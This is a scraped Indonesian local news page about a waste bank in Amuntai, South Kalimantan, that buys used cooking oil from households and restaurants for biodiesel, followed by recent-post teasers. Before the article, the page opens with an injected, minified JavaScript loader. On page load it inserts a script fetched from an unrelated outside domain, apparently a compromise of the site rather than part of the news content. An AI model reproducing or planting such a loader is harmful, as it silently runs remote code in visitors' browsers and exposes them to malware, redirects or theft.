(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bank Sampah “Buncu Elha” Kekinian Beli Minyak Jelantah dari Warga


KANALKALIMANTAN.COM, AMUNTAI – Tak cukup hanya menerima barang bekas seperti kardus bekas, plastik bekas dan jenis barang lainnya. Kini Bank Sampah Induk “Buncu Elha” di Jalan Sukmaraga RT 7 No 61, Kelurahan Sungai Malang juga menerima pembelian minyak goreng bekas pakai alias minyak jelantah (used cooking oil).

Menampung minyak jelantah ini sebagai upaya bank sampah “Buncu Elha” binaan Dinas Perumahan, Pemukiman Penduduk dan Lingkungan Hidup (Disperkim-LH) Kabupaten Hulu Sungai Utara (HSU) dapat didaur ulang dan dimanfaatkan kembali.

Direktur Bank Sampah Induk “Buncu Elha” Jakaria kepada kanalkalimantan.com, mengatakan, sudah sekitar sebulan terakhir menerima pembelian minyak jelantah, respon baik mulai diberikan masyarakat.

Respon tersebut terutama datang dari para pengusaha rumah makan yang selama ini banyak menghasilkan minyak jelantah tersebut.

“Sekarang banyak yang jadi langganan jual minyak (jelantah) ke tempat kita, seperti rumah-rumah makan di seputar kota Amuntai,” kata Jaka -biasa disapa-.

Kiriman minyak jelantah dari warga yang ada di Bank Sampah “Buncu Elha”. foto: dew

Ia menambahkan, sebagai tempat pengepul barang bekas, adapun harga beli untuk minyak jelantah sekitar Rp 20 ribu perliter.

Menurut jaka, minyak jelantah sendiri merupakan bahan baku alternatif yang bisa dimanfaatkan untuk program biodiesel di Indonesia. Karenanya Bank Sampah Induk Buncu Elha sekarang menerima penjualan minyak jelantah.

“Bahan baku minyak bekas (jelantah) ini selanjutnya kita kirim ke Surabaya untuk digunakan sebagai bahan baku biodiesel,” kata Jaka.

Dirinya berharap, adanya pemanfaatan minyak jelantah ini masyarakat semakin sadar akan pentingnya menjaga lingkungan. Disamping tidak mencemari lingkungan pemanfaatan minyak jelantah juga bisa menjadi nilai tambah ekonomi bagi rumah tangga, maupun industri rumah makan di HSU.

Untuk masyarakat yang ingin menjual minyak jelantah dan menjadi nasabah, kata Jaka dapat langsung mendatangi bank sampah Buncu Elha atau menghubungi nomer HP : 0852 5277 4366.

“Moto kita, dari pada dibuang lebih baik dijadikan duit, kada usah supan bakawan lawan sampah, duitnya halal. Dari sampah menjadi berkah,” tandasnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.